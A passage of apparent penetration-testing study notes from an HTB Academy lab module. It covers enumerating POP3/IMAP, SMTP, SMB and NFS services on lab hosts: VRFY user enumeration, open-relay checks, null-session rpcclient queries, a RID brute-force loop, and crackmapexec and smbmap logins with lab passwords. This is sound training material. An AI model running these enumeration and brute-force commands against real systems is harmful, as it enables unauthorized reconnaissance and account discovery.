    Session-ID: 3CC39A7F2928B252EF2FFA5462140B1A0A74B29D4708AA8DE1515BB4033D92C2
    Session-ID-ctx:
    Resumption PSK: 68419D933B5FEBD878FF1BA399A926813BEA3652555E05F0EC75D65819A263AA25FA672F8974C37F6446446BB7EA83F9
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 7200 (seconds)
    TLS session ticket:
    0000 - d7 86 ac 7e f3 f4 95 35-88 40 a5 b5 d6 a6 41 e4   ...~...5.@....A.
    0010 - 96 6c e6 12 4f 50 ce 72-36 25 df e1 72 d9 23 94   .l..OP.r6%..r.#.
    0020 - cc 29 90 08 58 1b 57 ab-db a8 6b f7 8f 31 5b ad   .)..X.W...k..1[.
    0030 - 47 94 f4 67 58 1f 96 d9-ca ca 56 f9 7a 12 f6 6d   G..gX.....V.z..m
    0040 - 43 b9 b6 68 de db b2 47-4f 9f 48 14 40 45 8f 89   C..h...GO.H.@E..
    0050 - fa 19 35 9c 6d 3c a1 46-5c a2 65 ab 87 a4 fd 5e   ..5.m<.F\.e....^
    0060 - a2 95 25 d4 43 b8 71 70-40 6c fe 6f 0e d1 a0 38   ..%.C.qp@l.o...8
    0070 - 6e bd 73 91 ed 05 89 83-f5 3e d9 2a e0 2e 96 f8   n.s......>.*....
    0080 - 99 f0 50 15 e0 1b 66 db-7c 9f 10 80 4a a1 8b 24   ..P...f.|...J..$
    0090 - bb 00 03 d4 93 2b d9 95-64 44 5b c2 6b 2e 01 b5   .....+..dD[.k...
    00a0 - e8 1b f4 a4 98 a7 7a 7d-0a 80 cc 0a ad fe 6e b3   ......z}......n.
    00b0 - 0a d6 50 5d fd 9a b4 5c-28 a4 c9 36 e4 7d 2a 1e   ..P]...\(..6.}*.

    Start Time: 1632081313
    Timeout   : 7200 (sec)
    Verify return code: 18 (self signed certificate)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK
+OK HTB-Academy POP3 Server
```

#### OpenSSL - TLS Encrypted Interaction IMAP

```shell-session
openssl s_client -connect 10.129.14.128:imaps
```

```shell-session
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 C = US, ST = California, L = Sacramento, O = Inlanefreight, OU = Customer Support, CN = mail1.inlanefreight.htb, emailAddress = cry0l1t3@inlanefreight.htb
verify error:num=18:self signed certificate
verify return:1
depth=0 C = US, ST = California, L = Sacramento, O = Inlanefreight, OU = Customer Support, CN = mail1.inlanefreight.htb, emailAddress = cry0l1t3@inlanefreight.htb
verify return:1
---
Certificate chain
 0 s:C = US, ST = California, L = Sacramento, O = Inlanefreight, OU = Customer Support, CN = mail1.inlanefreight.htb, emailAddress = cry0l1t3@inlanefreight.htb

...SNIP...

---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: 2B7148CD1B7B92BA123E06E22831FCD3B365A5EA06B2CDEF1A5F397177130699
    Session-ID-ctx:
    Resumption PSK: 4D9F082C6660646C39135F9996DDA2C199C4F7E75D65FA5303F4A0B274D78CC5BD3416C8AF50B31A34EC022B619CC633
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 7200 (seconds)
    TLS session ticket:
    0000 - 68 3b b6 68 ff 85 95 7c-8a 8a 16 b2 97 1c 72 24   h;.h...|......r$
    0010 - 62 a7 84 ff c3 24 ab 99-de 45 60 26 e7 04 4a 7d   b....$...E`&..J}
    0020 - bc 6e 06 a0 ff f7 d7 41-b5 1b 49 9c 9f 36 40 8d   .n.....A..I..6@.
    0030 - 93 35 ed d9 eb 1f 14 d7-a5 f6 3f c8 52 fb 9f 29   .5........?.R..)
    0040 - 89 8d de e6 46 95 b3 32-48 80 19 bc 46 36 cb eb   ....F..2H...F6..
    0050 - 35 79 54 4c 57 f8 ee 55-06 e3 59 7f 5e 64 85 b0   5yTLW..U..Y.^d..
    0060 - f3 a4 8c a6 b6 47 e4 59-ee c9 ab 54 a4 ab 8c 01   .....G.Y...T....
    0070 - 56 bb b9 bb 3b f6 96 74-16 c9 66 e2 6c 28 c6 12   V...;..t..f.l(..
    0080 - 34 c7 63 6b ff 71 16 7f-91 69 dc 38 7a 47 46 ec   4.ck.q...i.8zGF.
    0090 - 67 b7 a2 90 8b 31 58 a0-4f 57 30 6a b6 2e 3a 21   g....1X.OW0j..:!
    00a0 - 54 c7 ba f0 a9 74 13 11-d5 d1 ec cc ea f9 54 7d   T....t........T}
    00b0 - 46 a6 33 ed 5d 24 ed b0-20 63 43 d8 8f 14 4d 62   F.3.]$.. cC...Mb

    Start Time: 1632081604
    Timeout   : 7200 (sec)
    Verify return code: 18 (self signed certificate)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK
* OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN] HTB-Academy IMAP4 v.0.21.4
```


# SMTP

* Simple Mail Transfer Protocol (`SMTP`)
* It can be used
  * between an email client
  * an outgoing mail server
  * or between two SMTP servers
* Ports used
  * 25
  * SMTP servers also use other ports such as TCP port `587`
    * This port is used to receive mail from authenticated users/servers, usually using the STARTTLS command to switch the existing plaintext connection to an encrypted connection
      * authentication data is protected
* At the beginning of the connection, authentication occurs when the client confirms its identity with a user name and password.
  * The emails can then be transmitted.
  * For this purpose, the client sends the server sender and recipient addresses, the email's content, and other information and parameters.
  * After the email has been transmitted, the connection is terminated again.
  * The email server then starts sending the email to another SMTP server.
* SMTP works unencrypted without further measures and transmits all commands, data, or authentication information in plain text.
  * To prevent unauthorized reading of data, the SMTP is used in conjunction with SSL/TLS encryption.
  * Under certain circumstances, a server uses a port other than the standard TCP port `25` for the encrypted connection, for example, TCP port `465`.

### Spam Filter

* most modern SMTP servers support the protocol extension ESMTP with SMTP-Auth.
* &#x20;After sending his e-mail, the SMTP client, also known as `Mail User Agent` (MUA), converts it into a header and a body and uploads both to the SMTP server.
* This has a so-called `Mail Transfer Agent` (`MTA`),
  * the software basis for sending and receiving e-mails
* The MTA checks the e-mail for size and spam and then stores it.
  * To relieve the MTA, it is occasionally preceded by a `Mail Submission Agent` (`MSA`), which checks the validity, i.e., the origin of the e-mail.
  * This `MSA` is also called `Relay` server.
  * These are very important later on, as the so-called `Open Relay Attack` can be carried out on many SMTP servers due to incorrect configuration.
  * We will discuss this attack and how to identify the weak point for it a little later
  * The MTA then searches the DNS for the IP address of the recipient mail server.
* On arrival at the destination SMTP server, the data packets are reassembled to form a complete e-mail. From there, the `Mail delivery agent` (`MDA`) transfers it to the recipient's mailbox.

<table data-header-hidden data-full-width="true"><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Client (<code>MUA</code>)</td><td><code>➞</code></td><td>Submission Agent (<code>MSA</code>)</td><td><code>➞</code></td><td>Open Relay (<code>MTA</code>)</td><td><code>➞</code></td><td>Mail Delivery Agent (<code>MDA</code>)</td><td><code>➞</code></td><td>Mailbox (<code>POP3</code>/<code>IMAP</code>)</td></tr></tbody></table>

### SMTP Disadvantages

* But SMTP has two disadvantages inherent to the network protocol.
  * SMTP does not return a usable delivery confirmation
    * Although the specifications of the protocol provide for this type of notification, its formatting is not specified by default, so that usually only an English-language error message, including the header of the undelivered message, is returned.
  * Users are not authenticated when a connection is established, and the sender of an email is therefore unreliable
    * As a result, open SMTP relays are often misused to send spam to the masses
    * The originators use arbitrary fake sender addresses for this purpose to not be traced (mail spoofing).
    * Today, many different security techniques are used to prevent the misuse of SMTP servers
      * For example, suspicious emails are rejected or moved to quarantine (spam folder).
        * For example,
          * responsible for this are the identification protocol DomainKeys (`DKIM`)
          * Sender Policy Framework(`SPF`)
* For this purpose, an extension for SMTP has been developed called `Extended SMTP` (`ESMTP`).
  * When people talk about SMTP in general, they usually mean ESMTP. ESMTP uses TLS, which is done after the `EHLO` command by sending `STARTTLS`.
  * This initializes the SSL-protected SMTP connection, and from this moment on, the entire connection is encrypted, and therefore more or less secure.
    * Now AUTH PLAIN extension for authentication can also be used safely


# SMTP Attacks

### Default Configuration

```shell-session
cat /etc/postfix/main.cf | grep -v "#" | sed -r "/^\s*$/d"
```

```shell-session
smtpd_banner = ESMTP Server 
biff = no
append_dot_mydomain = no
readme_directory = no
compatibility_level = 2
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache
myhostname = mail1.inlanefreight.htb
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
smtp_generic_maps = hash:/etc/postfix/generic
mydestination = $myhostname, localhost 
masquerade_domains = $myhostname
mynetworks = 127.0.0.0/8 10.129.0.0/16
mailbox_size_limit = 0
recipient_delimiter = +
smtp_bind_address = 0.0.0.0
inet_protocols = ipv4
smtpd_helo_restrictions = reject_invalid_hostname
home_mailbox = /home/postfix
```

| **Command**  | **Description**                                                                                  |
| ------------ | ------------------------------------------------------------------------------------------------ |
| `AUTH PLAIN` | AUTH is a service extension used to authenticate the client.                                     |
| `HELO`       | The client logs in with its computer name and thus starts the session.                           |
| `MAIL FROM`  | The client names the email sender.                                                               |
| `RCPT TO`    | The client names the email recipient.                                                            |
| `DATA`       | The client initiates the transmission of the email.                                              |
| `RSET`       | The client aborts the initiated transmission but keeps the connection between client and server. |
| `VRFY`       | The client checks if a mailbox is available for message transfer.                                |
| `EXPN`       | The client also checks if a mailbox is available for messaging with this command.                |
| `NOOP`       | The client requests a response from the server to prevent disconnection due to time-out.         |
| `QUIT`       | The client terminates the session.                                                               |

#### Telnet - HELO/EHLO

```shell-session
telnet 10.129.14.128 25
```

```shell-session
Trying 10.129.14.128...
Connected to 10.129.14.128.
Escape character is '^]'.
220 ESMTP Server 


HELO mail1.inlanefreight.htb

250 mail1.inlanefreight.htb


EHLO mail1

250-mail1.inlanefreight.htb
250-PIPELINING
250-SIZE 10240000
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
```

* The command `VRFY` can be used to enumerate existing users on the system.
  * However, this does not always work. Depending on how the SMTP server is configured, the SMTP server may issue `code 252`
  * and confirm the existence of a user that does not exist on the system.
  * A list of all SMTP response codes can be found [here](https://serversmtp.com/smtp-error/).

#### Telnet - VRFY

```shell-session
 telnet 10.129.14.128 25
```

```shell-session
Trying 10.129.14.128...
Connected to 10.129.14.128.
Escape character is '^]'.
220 ESMTP Server 

VRFY root

252 2.0.0 root


VRFY cry0l1t3

252 2.0.0 cry0l1t3


VRFY testuser

252 2.0.0 testuser


VRFY aaaaaaaaaaaaaaaaaaaaaaaaaaaa

252 2.0.0 aaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

* Sometimes we may have to work through a web proxy. We can also make this web proxy connect to the SMTP server. The command that we would send would then look something like this: `CONNECT 10.129.14.128:25 HTTP/1.0`

### Send an Emails

* All the commands we enter in the command line to send an email we know from every email client program like Thunderbird, Gmail, Outlook, and many others.
  * We specify the `subject`, to whom the email should go, CC, BCC, and the information we want to share with others. Of course, the same works from the command line.

```shell-session
telnet 10.129.14.128 25
```

```shell-session
Trying 10.129.14.128...
Connected to 10.129.14.128.
Escape character is '^]'.
220 ESMTP Server


EHLO inlanefreight.htb

250-mail1.inlanefreight.htb
250-PIPELINING
250-SIZE 10240000
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING


MAIL FROM: <cry0l1t3@inlanefreight.htb>

250 2.1.0 Ok


RCPT TO: <mrb3n@inlanefreight.htb> NOTIFY=success,failure

250 2.1.5 Ok


DATA

354 End data with <CR><LF>.<CR><LF>

From: <cry0l1t3@inlanefreight.htb>
To: <mrb3n@inlanefreight.htb>
Subject: DB
Date: Tue, 28 Sept 2021 16:32:51 +0200
Hey man, I am trying to access our XY-DB but the creds don't work. 
Did you make any changes there?
.

250 2.0.0 Ok: queued as 6E1CF1681AB


QUIT

221 2.0.0 Bye
Connection closed by foreign host.
```

#### Key Points About Email Headers

* **Information Carrier:** Contains valuable details about an email.
* **Included Information:**
  * Sender (mandatory)
  * Recipient (mandatory)
  * Sending time (mandatory)
  * Arrival time (optional)
  * Email route (optional)
  * Content and format (optional)
* Email Header Structure
  * <https://datatracker.ietf.org/doc/html/rfc5322>

### Dangerous Settings

#### Relay Servers and Spam Filtering:

* **Circumventing Spam Filters:** Some senders use trusted relay servers to bypass recipient spam filters.
* **Trusted Relay Servers:** These servers are known and verified by other email servers.
* **Authentication Requirement:** The sender typically needs to authenticate with the relay server.

#### Open Relay Configuration

```shell-session
mynetworks = 0.0.0.0/0
```

* With this setting, this SMTP server can send fake emails and thus initialize communication between multiple parties.
  * Another attack possibility would be to spoof the email and read it.

### Footprinting the Service

```shell-session
sudo nmap 10.129.14.128 -sC -sV -p25
```

```shell-session
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-27 17:56 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00025s latency).

PORT   STATE SERVICE VERSION
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: mail1.inlanefreight.htb, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
MAC Address: 00:00:00:00:00:00 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.09 seconds
```

* using the [smtp-open-relay](https://nmap.org/nsedoc/scripts/smtp-open-relay.html) NSE script to identify the target SMTP server as an open relay using 16 different tests

```shell-session
sudo nmap 10.129.14.128 -p25 --script smtp-open-relay -v
```

```shell-session
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-30 02:29 CEST
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 02:29
Completed NSE at 02:29, 0.00s elapsed
Initiating ARP Ping Scan at 02:29
Scanning 10.129.14.128 [1 port]
Completed ARP Ping Scan at 02:29, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 02:29
Completed Parallel DNS resolution of 1 host. at 02:29, 0.03s elapsed
Initiating SYN Stealth Scan at 02:29
Scanning 10.129.14.128 [1 port]
Discovered open port 25/tcp on 10.129.14.128
Completed SYN Stealth Scan at 02:29, 0.06s elapsed (1 total ports)
NSE: Script scanning 10.129.14.128.
Initiating NSE at 02:29
Completed NSE at 02:29, 0.07s elapsed
Nmap scan report for 10.129.14.128
Host is up (0.00020s latency).

PORT   STATE SERVICE
25/tcp open  smtp
| smtp-open-relay: Server is an open relay (16/16 tests)
|  MAIL FROM:<> -> RCPT TO:<relaytest@nmap.scanme.org>
|  MAIL FROM:<antispam@nmap.scanme.org> -> RCPT TO:<relaytest@nmap.scanme.org>
|  MAIL FROM:<antispam@ESMTP> -> RCPT TO:<relaytest@nmap.scanme.org>
|  MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<relaytest@nmap.scanme.org>
|  MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<relaytest%nmap.scanme.org@[10.129.14.128]>
|  MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<relaytest%nmap.scanme.org@ESMTP>
|  MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<"relaytest@nmap.scanme.org">
|  MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<"relaytest%nmap.scanme.org">
|  MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<relaytest@nmap.scanme.org@[10.129.14.128]>
|  MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<"relaytest@nmap.scanme.org"@[10.129.14.128]>
|  MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<relaytest@nmap.scanme.org@ESMTP>
|  MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<@[10.129.14.128]:relaytest@nmap.scanme.org>
|  MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<@ESMTP:relaytest@nmap.scanme.org>
|  MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<nmap.scanme.org!relaytest>
|  MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<nmap.scanme.org!relaytest@[10.129.14.128]>
|_ MAIL FROM:<antispam@[10.129.14.128]> -> RCPT TO:<nmap.scanme.org!relaytest@ESMTP>
MAC Address: 00:00:00:00:00:00 (VMware)

NSE: Script Post-scanning.
Initiating NSE at 02:29
Completed NSE at 02:29, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.48 seconds
           Raw packets sent: 2 (72B) | Rcvd: 2 (72B)
```

#### Enumerate users on SMTP

* DID not work need another tool

```
smtp-user-enum -M VRFY -U footprinting.txt -t 10.129.38.126 -v
```


# SMB Attack

* SMB and SAMBA are different
* SMB was made by IBM and adopted into windows
* SAMBA uses the Common Internet File System (CIFS) to talk to SMB
  * CIFS is a very specific implementation of the SMB protocol
  * This allows Samba to communicate with newer Windows systems
  * it usually is referred to as `SMB / CIFS`.
* IBM developed an `application programming interface` (`API`) for networking computers called the `Network Basic Input/Output System` (`NetBIOS`).
  * The NetBIOS API provided a blueprint for an application to connect and share data with other computers.
  * In a NetBIOS environment, when a machine goes online, it needs a name, which is done through the so-called `name registration` procedure.
  * Either each host reserves its hostname on the network, or the [NetBIOS Name Server](https://networkencyclopedia.com/netbios-name-server-nbns/) (`NBNS`) is used for this purpose.
  * It also has been enhanced to [Windows Internet Name Service](https://networkencyclopedia.com/windows-internet-name-service-wins/) (`WINS`).
* &#x20;**TCP port 139 or 445** SMB over TCP
  * main
* **UDP 138**  SMB over UDP (datagram).
* **UDP 137**  SMB over user datagram protocol (UDP or Name Services).

### Default Configuration

```shell-session
cat /etc/samba/smb.conf | grep -v "#\|\;" 

```

```
[global]
   workgroup = DEV.INFREIGHT.HTB
   server string = DEVSMB
   log file = /var/log/samba/log.%m
   max log size = 1000
   logging = file
   panic action = /usr/share/samba/panic-action %d

   server role = standalone server
   obey pam restrictions = yes
   unix password sync = yes

   passwd program = /usr/bin/passwd %u
   passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .

   pam password change = yes
   map to guest = bad user
   usershare allow guests = yes

[printers]
   comment = All Printers
   browseable = no
   path = /var/spool/samba
   printable = yes
   guest ok = no
   read only = yes
   create mask = 0700

[print$]
   comment = Printer Drivers
   path = /var/lib/samba/printers
   browseable = yes
   read only = yes
   guest ok = no
```

| **Setting**                    | **Description**                                                       |
| ------------------------------ | --------------------------------------------------------------------- |
| `[sharename]`                  | The name of the network share.                                        |
| `workgroup = WORKGROUP/DOMAIN` | Workgroup that will appear when clients query.                        |
| `path = /path/here/`           | The directory to which user is to be given access.                    |
| `server string = STRING`       | The string that will show up when a connection is initiated.          |
| `unix password sync = yes`     | Synchronize the UNIX password with the SMB password?                  |
| `usershare allow guests = yes` | Allow non-authenticated users to access defined share?                |
| `map to guest = bad user`      | What to do when a user login request doesn't match a valid UNIX user? |
| `browseable = yes`             | Should this share be shown in the list of available shares?           |
| `guest ok = yes`               | Allow connecting to the service without using a password?             |
| `read only = yes`              | Allow users to read files only?                                       |
| `create mask = 0700`           | What permissions need to be set for newly created files?              |
|                                |                                                                       |

#### Dangerous Settings

| **Setting**                | **Description**                                                     |
| -------------------------- | ------------------------------------------------------------------- |
| `browseable = yes`         | Allow listing available shares in the current share?                |
| `read only = no`           | Forbid the creation and modification of files?                      |
| `writable = yes`           | Allow users to create and modify files?                             |
| `guest ok = yes`           | Allow connecting to the service without using a password?           |
| `enable privileges = yes`  | Honor privileges assigned to specific [SID](app://obsidian.md/SID)? |
| `create mask = 0777`       | What permissions must be assigned to the newly created files?       |
| `directory mask = 0777`    | What permissions must be assigned to the newly created directories? |
| `logon script = script.sh` | What script needs to be executed on the user's login?               |
| `magic script = script.sh` | Which script should be executed when the script gets closed?        |

### Ways of interacting with SMB

#### SMbclient

```
smbclient -L \\\\10.10.11.174\\
```

* -L to List the shares

```
smbclient -N //10.10.10.123/general
```

* -N for `null session`
  * which is `anonymous` access without the input of existing users or valid passwords.

```
smbclient //10.10.10.123/general
```

* guest login is different from authenticated login and is also different from Anonymous login

**!ls**

* !ls for listing on local directory (not smb)

```shell-session
!ls
```

### Attacks

#### rpcclient

```shell-session
 rpcclient -U "" 10.129.14.128
```

| **Query**                 | **Description**                                                    |
| ------------------------- | ------------------------------------------------------------------ |
| `srvinfo`                 | Server information.                                                |
| `enumdomains`             | Enumerate all domains that are deployed in the network.            |
| `querydominfo`            | Provides domain, server, and user information of deployed domains. |
| `netshareenumall`         | Enumerates all available shares.                                   |
| `netsharegetinfo <share>` | Provides information about a specific share.                       |
| `enumdomusers`            | Enumerates all domain users.                                       |
| `queryuser <RID>`         | Provides information about a specific user.                        |

**RPCclient - Enumeration**

```shell-session
rpcclient $> srvinfo
```

```shell-session
rpcclient $> enumdomains
```

```shell-session
rpcclient $> querydominfo
```

```shell-session
rpcclient $> netshareenumall
```

```shell-session
rpcclient $> netsharegetinfo notes
```

**Rpcclient - User Enumeration**

```shell-session
rpcclient $> enumdomusers
```

```shell-session
rpcclient $> enumdomusers

user:[mrb3n] rid:[0x3e8]
user:[cry0l1t3] rid:[0x3e9]


rpcclient $> queryuser 0x3e9

        User Name   :   cry0l1t3
        Full Name   :   cry0l1t3
        Home Drive  :   \\devsmb\cry0l1t3
        Dir Drive   :
        Profile Path:   \\devsmb\cry0l1t3\profile
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Do, 01 Jan 1970 01:00:00 CET
        Logoff Time              :      Mi, 06 Feb 2036 16:06:39 CET
        Kickoff Time             :      Mi, 06 Feb 2036 16:06:39 CET
        Password last set Time   :      Mi, 22 Sep 2021 17:50:56 CEST
        Password can change Time :      Mi, 22 Sep 2021 17:50:56 CEST
        Password must change Time:      Do, 14 Sep 30828 04:48:05 CEST
        unknown_2[0..31]...
        user_rid :      0x3e9
        group_rid:      0x201
        acb_info :      0x00000014
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x00000000
        padding1[0..7]...
        logon_hrs[0..21]...


rpcclient $> queryuser 0x3e8

        User Name   :   mrb3n
        Full Name   :
        Home Drive  :   \\devsmb\mrb3n
        Dir Drive   :
        Profile Path:   \\devsmb\mrb3n\profile
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Do, 01 Jan 1970 01:00:00 CET
        Logoff Time              :      Mi, 06 Feb 2036 16:06:39 CET
        Kickoff Time             :      Mi, 06 Feb 2036 16:06:39 CET
        Password last set Time   :      Mi, 22 Sep 2021 17:47:59 CEST
        Password can change Time :      Mi, 22 Sep 2021 17:47:59 CEST
        Password must change Time:      Do, 14 Sep 30828 04:48:05 CEST
        unknown_2[0..31]...
        user_rid :      0x3e8
        group_rid:      0x201
        acb_info :      0x00000010
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x00000000
        padding1[0..7]...
        logon_hrs[0..21]...
```

**Rpcclient - Group Information**

```shell-session
rpcclient $> querygroup 0x201

        Group Name:     None
        Description:    Ordinary Users
        Group Attribute:7
        Num Members:2
```

**Brute Forcing User RIDs**

```shell-session
for i in $(seq 500 1100);do rpcclient -N -U "" 10.129.14.128 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```

```
User Name   :   sambauser
user_rid :      0x1f5
group_rid:      0x201

User Name   :   mrb3n
user_rid :      0x3e8
group_rid:      0x201

User Name   :   cry0l1t3
user_rid :      0x3e9
group_rid:      0x201
```

#### impacket

**Impacket - Samrdump.py**

```shell-session
cyberaestheticgroot@htb[/htb]$ samrdump.py 10.129.14.128
```

```shell-session
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Retrieving endpoint list from 10.129.14.128
Found domain(s):
 . DEVSMB
 . Builtin
[*] Looking up users in domain DEVSMB
Found user: mrb3n, uid = 1000
Found user: cry0l1t3, uid = 1001
mrb3n (1000)/FullName: 
mrb3n (1000)/UserComment: 
mrb3n (1000)/PrimaryGroupId: 513
mrb3n (1000)/BadPasswordCount: 0
mrb3n (1000)/LogonCount: 0
mrb3n (1000)/PasswordLastSet: 2021-09-22 17:47:59
mrb3n (1000)/PasswordDoesNotExpire: False
mrb3n (1000)/AccountIsDisabled: False
mrb3n (1000)/ScriptPath: 
cry0l1t3 (1001)/FullName: cry0l1t3
cry0l1t3 (1001)/UserComment: 
cry0l1t3 (1001)/PrimaryGroupId: 513
cry0l1t3 (1001)/BadPasswordCount: 0
cry0l1t3 (1001)/LogonCount: 0
cry0l1t3 (1001)/PasswordLastSet: 2021-09-22 17:50:56
cry0l1t3 (1001)/PasswordDoesNotExpire: False
cry0l1t3 (1001)/AccountIsDisabled: False
cry0l1t3 (1001)/ScriptPath: 
[*] Received 2 entries.
```

#### crackmapexec

```
crackmapexec smb 10.10.11.174
```

**Null Authentication**

```
crackmapexec smb 10.10.11.174 --shares -u "" -p ""
```

**Anonymous Authentication**

* put any value in the user field

```
crackmapexec smb 10.10.11.174 --shares -u "fwewfawef" -p ""
```

**Login with username and password**

```
 crackmapexec smb 10.10.11.174 --shares -d support -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

#### SMBmap

```
smbmap -H 10.10.10.123 
```

**With creds**

```
smbmap -H 10.10.10.123 -u admin -p 'WORKWORKHhallelujah@#'
```

#### Nmap

```shell-session
sudo nmap 10.129.14.128 -sV -sC -p139,445
```

#### Enum4Linux-ng

**Installation**

```shell-session
git clone https://github.com/cddmp/enum4linux-ng.git
cd enum4linux-ng
pip3 install -r requirements.txt
```

**Enumeration**

```shell-session
./enum4linux-ng.py 10.129.14.128 -A
```


# NFS Attacks

| **Version** | **Features**                                                                                                                                                                                                                                                                     |
| ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `NFSv2`     | It is older but is supported by many systems and was initially operated entirely over \[\[UDP]].                                                                                                                                                                                 |
| `NFSv3`     | It has more features, including variable file size and better error reporting, but is not fully compatible with NFSv2 clients.                                                                                                                                                   |
| `NFSv4`     | It includes \[\[Kerberos]], works through \[\[firewalls]] and on the Internet, no longer requires portmappers, supports ACLs, applies state-based operations, and provides performance improvements and high security. It is also the first version to have a stateful protocol. |

* uses Remote Procedure Call (RPC)&#x20;

### Default Configuration

```shell-session
cat /etc/exports 
```

```shell-session
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
```

| **Option**         | **Description**                                                                                                                             |
| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------- |
| `rw`               | Read and write permissions.                                                                                                                 |
| `ro`               | Read only permissions.                                                                                                                      |
| `sync`             | Synchronous data transfer. (A bit slower)                                                                                                   |
| `async`            | Asynchronous data transfer. (A bit faster)                                                                                                  |
| `secure`           | Ports above 1024 will not be used.                                                                                                          |
| `insecure`         | Ports above 1024 will be used.                                                                                                              |
| `no_subtree_check` | This option disables the checking of subdirectory trees.                                                                                    |
| `root_squash`      | Assigns all permissions to files of root UID/GID 0 to the UID/GID of anonymous, which prevents `root` from accessing files on an NFS mount. |

### Dangerous Settings

| **Option**       | **Description**                                                                                                      |
| ---------------- | -------------------------------------------------------------------------------------------------------------------- |
| `rw`             | Read and write permissions.                                                                                          |
| `insecure`       | Ports above 1024 will be used.                                                                                       |
| `nohide`         | If another file system was mounted below an exported directory, this directory is exported by its own exports entry. |
| `no_root_squash` | All files created by root are kept with the UID/GID 0.                                                               |

### Footprinting the Service

* When foot printing NFS, the TCP ports `111` and `2049` are essential

#### Nmap

* \[\[Nmap]]

```shell-session
sudo nmap 10.129.14.128 -p111,2049 -sV -sC
```

```shell-session
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-19 17:12 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00018s latency).

PORT    STATE SERVICE VERSION
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      41982/udp6  mountd
|   100005  1,2,3      45837/tcp   mountd
|   100005  1,2,3      47217/tcp6  mountd
|   100005  1,2,3      58830/udp   mountd
|   100021  1,3,4      39542/udp   nlockmgr
|   100021  1,3,4      44629/tcp   nlockmgr
|   100021  1,3,4      45273/tcp6  nlockmgr
|   100021  1,3,4      47524/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp open  nfs_acl 3 (RPC #100227)
MAC Address: 00:00:00:00:00:00 (VMware)
```

**Nmap Script Offensive**

```shell-session
sudo nmap --script nfs* 10.129.14.128 -sV -p111,2049
```

```shell-session
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-19 17:37 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00021s latency).

PORT     STATE SERVICE VERSION
